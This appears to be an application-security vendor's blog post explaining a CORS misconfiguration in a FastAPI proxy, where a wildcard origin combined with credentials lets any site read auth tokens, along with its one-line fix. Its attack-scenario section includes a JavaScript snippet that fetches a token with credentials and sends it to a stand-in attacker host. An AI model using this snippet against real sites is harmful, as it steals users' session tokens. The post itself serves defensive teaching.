Back to Blog
high SEVERITY6 min read

How CORS Misconfiguration Happens in FastAPI and How to Fix It

A FastAPI application serving as a MyShows proxy was configured to allow all origins with credentials enabled, creating a dangerous CORS misconfiguration that could let any malicious website silently harvest authentication tokens. The fix was a single-line change — setting `allow_credentials=False` — but the implications of leaving it unchecked were significant. This post breaks down exactly how the vulnerability works, why FastAPI's behavior makes it subtler than it first appears, and how to co

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 18, 2026•Reviewed August 18, 2026

Answer Summary

This vulnerability is a CORS misconfiguration (CWE-942) in a FastAPI application where `CORSMiddleware` was configured with both `allow_origins=["*"]` and `allow_credentials=True` in `example_myshows_proxy/main.py`. While FastAPI/Starlette reflects the request's `Origin` header rather than sending a literal `*` when credentials are enabled, this means every origin is effectively allowed to make credentialed cross-origin requests — including malicious ones that can read authentication tokens from the `/auth` endpoint. The fix is to set `allow_credentials=False`, which prevents the `Access-Control-Allow-Credentials: true` header from being sent and blocks browsers from exposing response bodies to cross-origin scripts.

Vulnerability at a Glance

cweCWE-942
fixSet allow_credentials=False in CORSMiddleware configuration
riskAny website can make authenticated cross-origin requests and read auth tokens
languagePython (FastAPI / Starlette)
root causeallow_origins=["*"] combined with allow_credentials=True in CORSMiddleware
vulnerabilityCORS Misconfiguration with Credentials

How CORS Misconfiguration Happens in FastAPI and How to Fix It

The File That Handles Authentication — and Why Its CORS Config Mattered

The example_myshows_proxy/main.py file is the entry point for a FastAPI application that proxies requests to the MyShows API. Among its endpoints is /auth, which returns an authentication token to the caller. That makes the CORS configuration at the top of this file critically important — because CORS is the browser's primary mechanism for deciding which websites are allowed to read those responses.

At line 12, the application registered CORSMiddleware with a configuration that looked harmless at first glance:

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,  # ← the vulnerable line
    allow_methods=["*"],
    allow_headers=["*"],
)

This single line — allow_credentials=True — in combination with allow_origins=["*"] created a high-severity vulnerability that could allow any website on the internet to silently steal the authentication tokens returned by this proxy.


The Vulnerability Explained

What CORS Is Supposed to Do

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which external origins can read responses from your server. By default, browsers block cross-origin reads — CORS headers are the server's way of explicitly granting exceptions.

The Access-Control-Allow-Credentials: true header is a special escalation: it tells the browser, "Yes, you may include cookies, HTTP auth headers, or TLS client certificates in cross-origin requests — and you may expose the response to the requesting JavaScript."

The Subtle FastAPI/Starlette Behavior That Makes This Worse

Here's where this vulnerability gets interesting — and why it's easy to miss in code review.

The CORS specification explicitly forbids combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers will reject that combination. So you might think: "FastAPI will just send *, browsers will reject it, no harm done."

That's not what FastAPI does.

When allow_credentials=True is set, Starlette's CORSMiddleware does not send Access-Control-Allow-Origin: *. Instead, it reflects the incoming Origin header back verbatim. So if a request arrives from https://evil-attacker.com, the server responds with:

Access-Control-Allow-Origin: https://evil-attacker.com
Access-Control-Allow-Credentials: true

This is a valid credentialed CORS response. The browser accepts it. The attacker's JavaScript can read the full response body — including any authentication token.

The Attack Scenario

Imagine a user is logged into the MyShows proxy application in their browser. They visit a malicious website (perhaps via a phishing link or a compromised ad). That website runs the following script:

fetch('https://myshows-proxy.example.com/auth', {
  method: 'POST',
  credentials: 'include',  // sends the user's cookies
  body: JSON.stringify({ username: 'victim', password: 'stored-in-browser' })
})
.then(response => response.json())
.then(data => {
  // data.token is now in the attacker's hands
  fetch('https://evil-attacker.com/collect?token=' + data.token);
});

Because the server reflects the attacker's origin and includes Access-Control-Allow-Credentials: true, the browser allows the response to be read. The token is exfiltrated. The attacker now has authenticated access to the victim's MyShows account.

Real-World Impact

This proxy application is described as publicly accessible. Any user who has ever authenticated through it and visits a malicious page is at risk of having their session token stolen — with no indication that anything went wrong.


The Fix

The fix is a single character change at line 14 of example_myshows_proxy/main.py:

Before (vulnerable):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,   # reflects every Origin with credentials
    allow_methods=["*"],
    allow_headers=["*"],
)

After (fixed):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=False,  # no credentialed cross-origin access
    allow_methods=["*"],
    allow_headers=["*"],
)

Why This Specific Change Solves the Problem

Setting allow_credentials=False (which is also the default if the parameter is omitted) means Starlette will send Access-Control-Allow-Origin: * as a literal wildcard. Browsers enforce the rule that wildcard origins cannot be used with credentialed requests — so any fetch(..., { credentials: 'include' }) call from a foreign origin will be blocked by the browser before the response is ever exposed to JavaScript.

Unauthenticated cross-origin requests (e.g., public API calls without cookies) still work as expected. The change only prevents credentialed cross-origin reads, which is exactly the attack vector being closed.

The Ideal Long-Term Fix

If the application genuinely needs to support credentialed cross-origin requests from specific trusted frontends, the correct configuration is:

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://trusted-frontend.example.com"],  # explicit allowlist
    allow_credentials=True,
    allow_methods=["GET", "POST"],
    allow_headers=["Authorization", "Content-Type"],
)

This grants credentialed access only to known, trusted origins — rather than reflecting every origin that asks.


Key Takeaways

  • allow_credentials=True with allow_origins=["*"] in FastAPI is not a no-op — Starlette reflects the actual Origin header, making every origin effectively trusted for credentialed requests.
  • The /auth endpoint was the highest-risk target — it returns authentication tokens, making it the ideal target for a cross-origin credential theft attack.
  • The fix required changing exactly one value (True → False) at line 14 of main.py, but the security impact is significant: credentialed cross-origin reads are now blocked by browsers.
  • Wildcard CORS is safe for public, unauthenticated APIs — the problem only arises when credentials are also enabled.
  • CORS misconfigurations are silent — there are no server-side errors, no logs, and no user-visible symptoms when an attacker exploits this. Detection requires proactive scanning.

How Orbis AppSec Detected This

  • Source: The Origin request header sent by any cross-origin browser request to the FastAPI application.
  • Sink: The CORSMiddleware configuration at example_myshows_proxy/main.py:12–17, specifically the allow_credentials=True parameter combined with allow_origins=["*"].
  • Missing control: No restriction on which origins are permitted to make credentialed requests; the wildcard origin policy effectively whitelisted all origins when combined with credential reflection.
  • CWE: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains.
  • Fix: Changed allow_credentials=True to allow_credentials=False at line 14, preventing the Access-Control-Allow-Credentials: true header from being sent and blocking browsers from exposing credentialed responses to cross-origin scripts.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CORS misconfigurations are among the most common and most underestimated security issues in web APIs. The combination of allow_origins=["*"] and allow_credentials=True in FastAPI's CORSMiddleware is particularly dangerous because it doesn't fail loudly — it silently reflects every origin as trusted, giving any malicious website the ability to make authenticated requests and read the responses.

In this case, the /auth endpoint of example_myshows_proxy/main.py was directly exposed: any website could have triggered an authenticated request and exfiltrated the resulting token. A one-line fix — flipping allow_credentials to False — closes the vulnerability entirely.

The lesson for FastAPI developers: always treat allow_credentials=True as a high-privilege setting that requires an explicit, restrictive allow_origins list. When in doubt, default to False and add origins as your application's trust requirements become clear.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #3

Related Articles

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.

critical

No Rate Limit on /api/uploads/presign Enables DoS

The `/api/uploads/presign` endpoint accepted unlimited concurrent requests to generate storage presigned URLs, giving an attacker a free lever to exhaust storage-provider quotas and server resources. The fix adds an `express-rate-limit` middleware capping each client to 30 requests per minute on that route.

high

CVE-2026-54673: builder-util-runtime Leaks Auth Headers on Redirect

electron-updater and electron-builder rely on builder-util-runtime to fetch update manifests and artifacts over HTTP. A flaw in that shared HTTP executor allowed credential headers attached to the original update-feed request to be re-sent after a redirect, exposing them to any host the redirect pointed to. The project fixes this by upgrading builder-util-runtime to 9.7.0 and collapsing a duplicate, older copy of the package that electron-updater had pinned on its own.

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.